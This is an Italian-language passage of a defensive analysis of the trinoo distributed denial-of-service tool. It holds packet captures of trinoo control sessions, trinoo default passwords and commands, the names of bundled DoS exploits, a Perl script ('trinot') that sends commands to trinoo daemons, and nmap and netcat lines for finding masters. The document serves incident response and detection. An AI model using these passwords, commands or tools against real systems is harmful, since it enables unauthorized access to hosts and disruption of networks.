o qualsiasi stringa di comando stessa (se il sorgente non e' modificato per
cambiare queste stringhe, ovviamente.) Il programma ngrep funziona a dovere
per questo scopo:
------------------------------------------------------------------------------
# ngrep -i -x "*hello*|pong" udp
interface: eth0 (192.168.0.200/255.255.255.0)
filter: ip and ( udp )
match: *hello*|pong
. . .
#
U 192.168.0.1:32887 -> 10.0.0.1:31335
2a 48 45 4c 4c 4f 2a *HELLO*
###
U 192.168.0.1:32888 -> 10.0.0.1:31335
50 4f 4e 47 PONG
U 192.168.0.3:32815 -> 10.0.0.1:31335
50 4f 4e 47 PONG
U 192.168.0.5:32798 -> 10.0.0.1:31335
50 4f 4e 47 PONG
. . .
------------------------------------------------------------------------------
Sebbene non siano debolezze nel trinoo stesso, ci sono anche debolezze nella
maniera in cui le reti trinoo sono installate.
Come menzionato prima, alcuni sistemi hanno mostrato entry del crontab
usate per lanciare il demone una volta al minuto. Questo lascia un'ovvia
impronta sui file di crontab.
Gli script osservati per automazione dell'istallazione delle reti trinoo usano
il comando Berkeley "rcp" (l'uso di rcp e' stato osservato anche in una
funzione di upload di file inclusa nelle ultime versioni del programma demone
di "Tribe Flood Network"). Monitorare connessioni "rcp" (514/tcp) da sistemi
multipli sulla propria rete, in rapida successione, verso un singolo indirizzo
IP al di fuori della tua rete potrebbe essere un buon indizio. (Notare che
L'uso di "rcp" in uno script richiede un ***anonymous trust relationship,
solitamente nella forma di "+ +" nell file ~/.rhosts di un utente, che permette
di archiviare immediatamente il contenuto di questo account contattando i
proprietari per conservare la prova.)
(Un' ulteriore analisi di trinoo di George Weaver della Pennsylvania State
University e David Brumley della Stanford University e' incluso
nell'Appendice E - Altri metodi per individuare trinoo. George merita ulteriori
ringraziamenti per il tentativo di decompilare a mano un'immagine binaria SPARC
recuperata ;)
I prossimi logici passi evolutivi
---------------------------------
Uno degli attacchi piu' semplici da implementare e' l'attacco di negazione di
servizio. Esistono molti bug negli stack TCP/IP che, per esempio, permettono
pacchetti frammentati, grossi pacchetti, opzioni IP, connessioni TCP
semi-aperte, o inondazioni di pacchetti (chi ha la maggiore ampiezza di banda
vince) etc., per degradare le performance del sistema o mandare il sistema in
crash.
Apeena un bug viene individuato, un programma di exploit dimostrativo del bug
viene generalmente prodotto. Ciascuno di questi programmi exploit e'
generalmente unico, ed exploita un bug specifico che affligge un'unica
implementazione TCP/IP (per quanto, avendo Mcrosoft una cosi' ampia parte di
mercato di personal computer, e molti utenti casalinghi quasi totalmente ignari
di questi bug, lasciati da soli su dove ottenere e come applicare le patch per
eliminare questi bug, ci sono alte possibilita' che un attacco multi-exploit
avra' successo nel mandare il sistema bersaglio in crash.)
Questi exploit di negazione di servizio sono disponibili su numerosi siti su
Internet ad esempio:
http://www.technotronic.com/denial.html
http://www.rootshell.com/
Il passo successivo e' stato quello di combinare insieme vari exploit di
negazione di servizio in un unico strumento, usando script di shell di Unix.
Uno di questi strumenti, chiamato "rape" (secondo il codice scritto nel 1998 da
"mars", con modifiche di "TheVirus" e ulteriori miglioramenti di codice di
"ttol") integra i seguenti exploit in un unico script di shell:
echo "Editted for use with www.ttol.base.org"
echo "rapeing $IP. using weapons:"
echo "latierra "
echo -n "teardrop v2 "
echo -n "newtear "
echo -n "boink "
echo -n "bonk "
echo -n "frag "
echo -n "fucked "
echo -n "troll icmp "
echo -n "troll udp "
echo -n "nestea2 "
echo -n "fusion2 "
echo -n "peace keeper "
echo -n "arnudp "
echo -n "nos "
echo -n "nuclear "
echo -n "ssping "
echo -n "pingodeth "
echo -n "smurf "
echo -n "smurf4 "
echo -n "land "
echo -n "jolt "
echo -n "pepsi "
Uno strumento come questo ha il vantaggio di permettere ad un attaccante di
fornire un sigolo indirizzo IP e ottenere che attacchi multipli vengano
lanciati (aumentando la probabilita' di un attacco vittorioso), ma richiede
il possesso di versioni pre-compilate di ogni singolo exploit impacchettato in
in un archivio Unix in formato "tar", etc., per un agile trasferimento ad un
account (solitamente rubato dal quale lanciare l'attacco.
Per permettere l'uso di exploit multipli di negazione di servizio, ma con un
unico programma precompilato che sia piu' semplice da conservare, trasferire,
e usare velocemente sono stati sviluppati programmi come "targa.c" di Mixter.
Targa combina tutti i seguenti exploit in un unico programma sorgente in C:
/* targa.c - copyright by Mixter <mixter@gmx.net>
version 1.0 - released 6/24/98 - interface to 8
multi-platform remote denial of service exploits
*/
. . .
/* bonk by route|daemon9 & klepto
* jolt by Jeff W. Roberson (modified by Mixter for overdrop effect)
* land by m3lt
* nestea by humble & ttol
* newtear by route|daemon9
* syndrop by PineKoan
* teardrop by route|daemon9
* winnuke by _eci */
Anche strumenti combinati di negazione di servizio come "targa" permettono
solamente ad un attaccante di colpire un indirizzo IP alla volta.
Per aumentare l'efficacia' dell'attaco, gruppi di attaccanti, che usino
canali IRC o "ponti voce" telefonici per la comunicazione, potrebbero
coordinare un attacco, colpendo ciascuno un bersaglio differente. La
stessa coordinazione viene vista nel sondare le vulnerabilita' e nella
compromissione del sistema e nel controllo con l'utilizzo di backdoor e
"root kit".
Anche questo ha i suoi limiti, cosi', in meno di due anni, sembra che il prossimo
passo logico sia stato fatto per combinare la potenza di un numero di sistemi
compromessi in un denial of service distribuito. Lo strumento
"trinoo" e' un esempio di questo, cosi' come un altro strumento simile
disponibile nel computer underground chiamato "Tribe Flood Network" o "TFN"
creato da Mixter.
Mentre trinoo implemente solo attacchi UDP flood, TFN supporta ICMP flood,
ICMP flood, UDP flood, SYN flood, e attacchi in stile Smurf, ed e' controllato
con comandi inviati come pacchetti ICMP_ECHOREPLY (ICMP Type 0). Supporta anche
criptazione Blowfish, similmente a trinoo. (TFN e' analizzato in un documento
separato).
E' tutto tranne che garantito che questi strumenti continueranno a seguire
questa tendenza e si evolveranno in stumenti per l'attacco di diniego di
servizio che utilizzino criptazione robusta delle stringhe , password
per controllare l'esecuzione (possibilmente con trip-wires che si
autodistruggono o distruggono l'intero disco di sistema se lanciati nella maniera
errata o dalla persona sbagliata), usando canali di crittazione criptati e che
comunicano usando usando pacchetti che ***posing as protocolli come ICMP che
sono difficili da individuare o bloccare con firewall.
--
David Dittrich <dittrich@cac.washington.edu>
http://staff.washington.edu/dittrich/
Appendice A: Esempio di una sessione di rete catturata con "ngrep"
------------------------------------------------------------------
il seguente e' un esempio di come appare una sessione di attacco osservata con
"ngrep".
------------------------------------------------------------------------------
# ngrep -x ".*" tcp port 27665 or udp port 31335 or udp port 27444
interface: eth0 (192.168.0.200/255.255.255.0)
filter: ip and ( tcp port 27665 or udp port 31335 or udp port 27444 )
match: .*
#
U 192.168.0.1:32892 -> 10.0.0.1:31335
2a 48 45 4c 4c 4f 2a *HELLO*
#
T 192.168.100.1:1074 -> 10.0.0.1:27665 [AP]
ff f4 ff fd 06 .....
######
T 192.168.100.1:1074 -> 10.0.0.1:27665 [AP]
62 65 74 61 61 6c 6d 6f 73 74 64 6f 6e 65 0d 0a betaalmostdone..
#
T 10.0.0.1:27665 -> 192.168.100.1:1074 [AP]
74 72 69 6e 6f 6f 20 76 31 2e 30 37 64 32 2b 66 trinoo v1.07d2+f
33 2b 63 2e 2e 5b 72 70 6d 38 64 2f 63 62 34 53 3+c..[rpm8d/cb4S
78 2f 5d 0a 0a 0a x/]...
##
T 10.0.0.1:27665 -> 192.168.100.1:1074 [AP]
74 72 69 6e 6f 6f 3e 20 trinoo>
###
T 192.168.100.1:1074 -> 10.0.0.1:27665 [AP]
62 63 61 73 74 0d 0a bcast..
#
T 10.0.0.1:27665 -> 192.168.100.1:1074 [AP]
4c 69 73 74 69 6e 67 20 42 63 61 73 74 73 2e 0a Listing Bcasts..
0a .
###
T 10.0.0.1:27665 -> 192.168.100.1:1074 [AP]
31 39 32 2e 31 36 38 2e 30 2e 31 2e 20 20 20 0a 192.168.0.1.
0a 45 6e 64 2e 20 31 20 42 63 61 73 74 73 20 74 .End. 1 Bcasts t
6f 74 61 6c 2e 0a 74 72 69 6e 6f 6f 3e 20 otal..trinoo>
##
T 192.168.100.1:1074 -> 10.0.0.1:27665 [AP]
6d 74 69 6d 65 72 20 31 30 30 30 0d 0a mtimer 1000..
##
T 10.0.0.1:27665 -> 192.168.100.1:1074 [AP]
6d 74 69 6d 65 72 3a 20 53 65 74 74 69 6e 67 20 mtimer: Setting
74 69 6d 65 72 20 6f 6e 20 62 63 61 73 74 20 74 timer on bcast t
6f 20 31 30 30 30 2e 0a o 1000..
#
U 10.0.0.1:1025 -> 192.168.0.1:27444
62 62 62 20 6c 34 34 61 64 73 6c 20 31 30 30 30 bbb l44adsl 1000
##
T 10.0.0.1:27665 -> 192.168.100.1:1074 [AP]
6d 74 69 6d 65 72 3a 20 53 65 74 74 69 6e 67 20 mtimer: Setting
74 69 6d 65 72 20 6f 6e 20 62 63 61 73 74 20 74 timer on bcast t
6f 20 31 30 30 30 2e 0a o 1000..
###
T 10.0.0.1:27665 -> 192.168.100.1:1074 [AP]
74 72 69 6e 6f 6f 3e 20 trinoo>
###
T 192.168.100.1:1074 -> 10.0.0.1:27665 [AP]
6d 73 69 7a 65 20 33 32 30 30 30 0d 0a msize 32000..
#
U 10.0.0.1:1025 -> 192.168.0.1:27444
72 73 7a 20 33 32 30 30 30 rsz 32000
#
T 10.0.0.1:27665 -> 192.168.100.1:1074 [AP]
74 72 69 6e 6f 6f 3e 20 trinoo>
###
T 192.168.100.1:1074 -> 10.0.0.1:27665 [AP]
64 6f 73 20 32 31 36 2e 31 36 30 2e 58 58 2e 59 dos 216.160.XX.Y
59 0d 0a Y..
#
T 10.0.0.1:27665 -> 192.168.100.1:1074 [AP]
44 6f 53 3a 20 50 61 63 6b 65 74 69 6e 67 20 32 DoS: Packeting 2
31 36 2e 31 36 30 2e 58 58 2e 59 59 2e 0a 16.160.XX.YY..
#
U 10.0.0.1:1025 -> 192.168.0.1:27444
61 61 61 20 6c 34 34 61 64 73 6c 20 32 31 36 2e aaa l44adsl 216.
31 36 30 2e 58 58 2e 59 59 160.XX.YY
#
T 10.0.0.1:27665 -> 192.168.100.1:1074 [AP]
74 72 69 6e 6f 6f 3e 20 trinoo>
##
T 192.168.100.1:1074 -> 10.0.0.1:27665 [AP]
71 75 69 74 0d 0a quit..
#
T 10.0.0.1:27665 -> 192.168.100.1:1074 [AP]
62 79 65 20 62 79 65 2e 0a bye bye..
###
T 192.168.100.1:1075 -> 10.0.0.1:27665 [AP]
62 65 74 61 61 6c 6d 6f 73 74 64 6f 6e 65 0d 0a betaalmostdone..
##
T 10.0.0.1:27665 -> 192.168.100.1:1075 [AP]
74 72 69 6e 6f 6f 20 76 31 2e 30 37 64 32 2b 66 trinoo v1.07d2+f
33 2b 63 2e 2e 5b 72 70 6d 38 64 2f 63 62 34 53 3+c..[rpm8d/cb4S
78 2f 5d 0a 0a 0a x/]...
###
T 10.0.0.1:27665 -> 192.168.100.1:1075 [AP]
74 72 69 6e 6f 6f 3e 20 trinoo>
###
T 192.168.100.1:1075 -> 10.0.0.1:27665 [AP]
6d 70 69 6e 67 0d 0a mping..
##
T 10.0.0.1:27665 -> 192.168.100.1:1075 [AP]
6d 70 69 6e 67 3a 20 53 65 6e 64 69 6e 67 20 61 mping: Sending a
20 50 49 4e 47 20 74 6f 20 65 76 65 72 79 20 42 PING to every B
63 61 73 74 73 2e 0a casts..
#
U 10.0.0.1:1025 -> 192.168.0.1:27444
70 6e 67 20 6c 34 34 61 64 73 6c png l44adsl
##
U 192.168.0.1:32894 -> 10.0.0.1:31335
50 4f 4e 47 PONG
##
T 10.0.0.1:27665 -> 192.168.100.1:1075 [AP]
74 72 69 6e 6f 6f 3e 20 50 4f 4e 47 20 31 20 52 trinoo> PONG 1 R
65 63 65 69 76 65 64 20 66 72 6f 6d 20 31 39 32 eceived from 192
2e 31 36 38 2e 30 2e 31 0a .168.0.1
##
T 192.168.100.1:1075 -> 10.0.0.1:27665 [AP]
71 75 69 74 0d 0a quit..
#
T 10.0.0.1:27665 -> 192.168.100.1:1075 [AP]
62 79 65 20 62 79 65 2e 0a bye bye..
------------------------------------------------------------------------------
Appendice B - script trinot
--------------------------
---------------------------------------------------------- cut here -----------------------------------
#!/usr/bin/perl -w
#
# trinot v. 1.1
# By Dave Dittrich <dittrich@cac.washington.edu>
#
# Send commands to trinoo daemon(s), causing them to PONG, *HELLO*
# to all their masters, exit, etc. Using this program (and knowledge
# of the proper daemon password), you can affect trinoo daemons
# externally and monitor packets to verify if the daemons are up,
# expose their masters, or shut them down.
#
# Needs Net::RawIP (http://quake.skif.net/RawIP)
# Requires libpcap (ftp://ftp.ee.lbl.gov/libpcap.tar.Z)
#
# Example: ./trinot host1 [host2 [...]]
# ./trinot -S host
# ./trinot -p password -P host
#
# (This code was hacked from the "macof" program, written by
# Ian Vitek<ian.vitek@infosec.se>)
require 'getopts.pl';
use Net::RawIP;
$a = new Net::RawIP({udp => {}});
chop($hostname = `hostname`);
Getopts('PSDp:f:s:d:l:i:vh');
die "usage: $0 [options] host1 [host2 [...]]\
\t-P\t\t\tSend \"png\" command\
\t-S\t\t\tSend \"shi\" command\
\t-D\t\t\tSend \"d1e\" command (default)\
\t-p password\t\t(default:\"l44adsl\")
\t-f from_host\t\t(default:$hostname)\
\t-s src_port\t\t(default:random)\
\t-d dest_port\t\t(default:27444)\
\t-l ipfile\t\tSend to IP addresses in ipfile\
\t-i interface \t\tSet sending interface (default:eth0)\
\t-v\t\t\tVerbose\
\t-h This help\n" unless ( !$opt_h );
# set default values
$opt_i = ($opt_i) ? $opt_i : "eth0";
$s_port = ($opt_s) ? $opt_s : int rand 65535;
$d_port = ($opt_d) ? $opt_d : 27444;
$pass = ($opt_p) ? $opt_p : "l44adsl";
# choose network card
if($opt_e) {
$a->ethnew($opt_i, dest => $opt_e);
} else {
$a->ethnew($opt_i);
}
$cmd = ($opt_P) ? "png $pass" :
($opt_S) ? "shi $pass" :
($opt_D) ? "d1e $pass" :
"d1e $pass";
$s_host = ($opt_f) ? $opt_f : $hostname;
if ($opt_l) {
open(I,"<$opt_l") || die "could not open file: '$opt_l'";
while (<I>) {
chop;
push(@ARGV,$_);
}
close(I);
}
foreach $d_host (@ARGV) {
$a->set({ip => {saddr => $s_host, daddr => $d_host},
udp => {source => $s_port, dest => $d_port, data => $cmd}
});
print "sending '$cmd' to $d_host\n" if $opt_v;
$a->send;
}
exit(0);
------------------------------- cut here -----------------------------------
Appendice C - Referimenti
-------------------------
TCP/IP Illustrated, Vol. I, II, and III. W. Richard Stevens and Gary
R. Wright., Addison-Wesley.
lsof:
ftp://vic.cc.purdue.edu/pub/tools/unix/lsof/
tcpdump:
ftp://ftp.ee.lbl.gov/tcpdump.tar.Z
hunt:
http://www.cri.cz/kra/index.html
sniffit:
http://sniffit.rug.ac.be/sniffit/sniffit.html
ngrep:
http://www.packetfactory.net/ngrep/
loki client/server:
Phrack Magazine, Volume Seven, Issue Forty-Nine,
File 06 of 16, [ Project Loki ]
http://www.phrack.com/search.phtml?view&article=p49-6
Phrack Magazine Volume 7, Issue 51 September 01, 1997,
article 06 of 17 [ L O K I 2 (the implementation) ]
http://www.phrack.com/search.phtml?view&article=p51-6
LibNet:
http://www.packetfactory.net/libnet/
Net::RawIP:
http://quake.skif.net/RawIP
crack:
http://www.crypto.dircon.co.uk/
Password cracking utilities:
http://packetstorm.securify.com/Crackers/
targa.c:
http://packetstorm.securify.com/exploits/DoS/targa.c
Appendice D - Resoconto abbreviato di un attacco trinoo reale.
------------------------------------------------------------------
La seguente e' una versione abbreviata del resoconto iniziale inviato da Susan
Levi Haskell della University of Minnesota. Questo resoconto, che rigarda
solamente un breve periodo di tempo dell'attacco di tre giorni, ha mostrato
227 sistemi attaccanti, 114 dei quali erano su siti Internet 2. (La lista
reale dei sistemi attaccanti, ciascuno dei quali e' anche vittima
compromessa a livello di root in their own right, e' stata rimossa. Un
resoconto completo di tutti gli indirizzi Ip attaccanti durante il periodo
di tre giorni non e' disponibile.)
Solo per mostrare quanto puo' fare una grande rete trinoo, si consideri che un
file (chiamato "owned.log") contenente 888 indirizzi IP e' stato trovato nella
stessa locazione del codice sorgente trinoo qui analizzato (che si ipotizza sia
lo stesso codice utilizzato per l'attacco). Un altro file nella stessa
directory (chiamato "216") contiene gli indirizzi di 10549 sistemi su netblocks
216.0.0.0/8, e si ipotizza che sia una lista di potenziali bersagli per la
compromissione e l'installazione di di demoni/master trinoo. Voci sui newsgroup
Usenet e su Slashdot posizionano il numero di sistemi controllati da questo
gruppo al di sopra dei 3000.
-------------------------------------------------------------------------------
Hello:
Questa e' l'avviso che un sistema nel vostro sito e' stato apparentemente usato
in un flood UDP su di un sistema dell'University of Minnesota. Gli host
riportati sono stati coinvolti in una serie di denials-of-service su larga
scala che stanno flooddando la University of Minnesota. Sono periodici ma in
crescita riguardo al numero di host usati per l'attacco.
Ci piacerebbe sapere se potete confermare se i vistri sistemi sono stati usati.
Siamo anche *molto* interessati in qualunque informazione riguardo questo
strumento (siccome sembra essere nuovo e piuttosto efficace). Fino ad ora tutti
gli host usati in questo attacco sembrano essere stati sistemi Solaris 2.x che
sono stati compromessi usando gli exploit rpc.cmsd recentemente annunciati (vedi
http://www.cert.org/advisories/CA-99-08-cmsd.html per i dettagli).
Le seguenti sono liste degli host apparentemente usati, e il periodo di utilizzo.
Siamo sicuri riguardo le timestamp --sono nel CDT (-500)-- ma con un tale flood
salgono e scendono. Siccome prndiamo i dati ad intervalli di 10 minuti, i tempi
sono approssimati.
I flood usano IP sorgenti no falsificati e porte-sorgenti UPD coerenti. Le
porte di destinazione sono casuali, puntate al 160.94.196.192.
I pacchetti sono UDP a 32 byte (ed ogni flusso rappresenta molti pacchetti).
Ho incluso informazioni di profilo piuttosto che log excerpts, perche'
occupavano troppi GB. Se volete i Cisco net-flow excerpts per dimostrare il
comportamento, prego rispondete al messaggio e chiedete.
Tutti gli attacchi sono stati lanciati al 160.94.196.192 (irc2.tc.umn.edu).
E, come ho menzionato, tutti i tempi sono nel CDT (-500) da un log ntp-slaved
log host (for i segmenti di 10 minuti).
Grazie.-susan
--
Susan B. Levy Haskell / sblh@nts.umn.edu / voice: (612) 626-8639
Security Incident Response Coordinator fax: (612) 626-1002
Networking and Telecommunications Services, University of Minnesota
*** To report a security incident in progress, call (612) 625-0006 ***
=================================================
Appendice E - Ulteriori metodi di individuazione di trinoo
----------------------------------------------------------
Autori: David Brumley<dbrumley@stanford.edu>
David Dittrich<dittrich@cac.washington.edu>
George Weaver <gmw@psu.edu>
Individuare trinoo
Attualmente Trinoo ha molti segni che permettono di identificarlo dalle
registrazioni del flusso IP.
Demone Trinoo (ns.c) -
1. Il demone trinoo di default rimane in ascolto sulla porta UDP 27444
2. Tutte le comunicazioni con il demone trinoo devono contenere la stringa l44
(elle 44)
3. Il meccanismo SYN flood sceglie la porta di destinazione con il seguente
algoritmo:
to.syn_port = htons(rand() % 65534)
Si possono fare alcune osservazioni:
a. randomize()/srandom() non viene mai chiamata, cosi' la porta di
destinazione corrispondera' sempre al seguente algoritmo:
il 1' pacchetto SYN ha come destinazione la porta x
il 2' pacchetto SYN ha come destinazione la porta y definita da
srandom(x); y = rand();
il 3' pacchetto SYN ha come destinazione la porta z definita da
srandom(y); z = rand()
b. Siccome la porta e' un risultato del modulo 65534, la porta di
destinazione sara' presente, mentre non lo sara' la porta 65535.
Individuazione IDS del demone:
1. Cerca connessioni UDP alla porta di destinazione 27444. Questo indica la
sessione di controllo.
2. La stringa l44 indica con un'alta probabilita' che il pacchetto e' parte di
una sessione di controllo trinoo.
3. Attacchi trinoo (SYN Floods) in atto possono essere identificati
dall'algortimo riportato sopra. Inoltre se si riesce a prendere il primo
SYN, sara' sempre il risultato di srand(1); rand();, Sul laptop di uno degli
autori la sequenza e' stata:
32540
48264
58208
56084
46021
37263
6890
38941
17766
40714
Per quanto questo non fermi il Denial of Service, Indichera' con buone
probabilita' che e' un attaco trinoo, ed e' necessario iniziare a cercare un
master!
Individuare il demone trinoo sul proprio network:
1. I demoni trinoo possono essere indicizzati da un master inviando un comando
png. I demoni attivi risponderanno con un PONG. Probabilmente l'autore
originale ha aggiunto questo in modo da permettere al master di vedere quali
demoni continuano ad essere attivi. E' possibile fare uno scan su una rete con
il programma attached cercando qualcosa che risponda in maniera appropriata.
(con buone possibilita' che sia un demone trinoo.)
Il server trinoo (master.c) -
le comunicazioni di rete che sono indicative di un server trinoo sono:
1. L'invio di pacchetti UDP con porta di destinazione 27444
2. Pacchetti UDP come descritti sopra contenenti la stringa l44adsl
3. Un server ***bindera' alla porta 27665
Individuazione IDS del server trinoo:
1. Cercare flussi con tipo di protocollo 17 (UDP)
2. Connessioni TCP (tipo di protocollo 6) con porta di destinazione 27665 (il
server trinoo)
Individuare il server trinoo della propria rete:
1. La password del server non e' stata cambiata (per quanto ne sappia l'autore)
ne' la porta su cui rimane in ascolto. I possibili master trinoo possono
essere individuati usando uno strumento come nmap per individuare gli host in
ascolto sulla porta 27665:
nmap -PI -sT -p 27655 -m logfile "you.subnet.*.*"
Dopo che una lista di possibili server e' stata compilata, puo' essere
utilizzato un login automatizzato per identificazione positiva. Se si volesse
racchiudere in uno script il login, si provo netcat (nc su molti sistemi):
echo "betaalmostdone" | nc <IP> 27665
NOTA:
La tua distanza con la predizione di numeri casuali visto che e' molto
specifica per ogni host - cosa restituisce in realta' rand()? Consultare la
propria documentazione.
- Testo Originale
|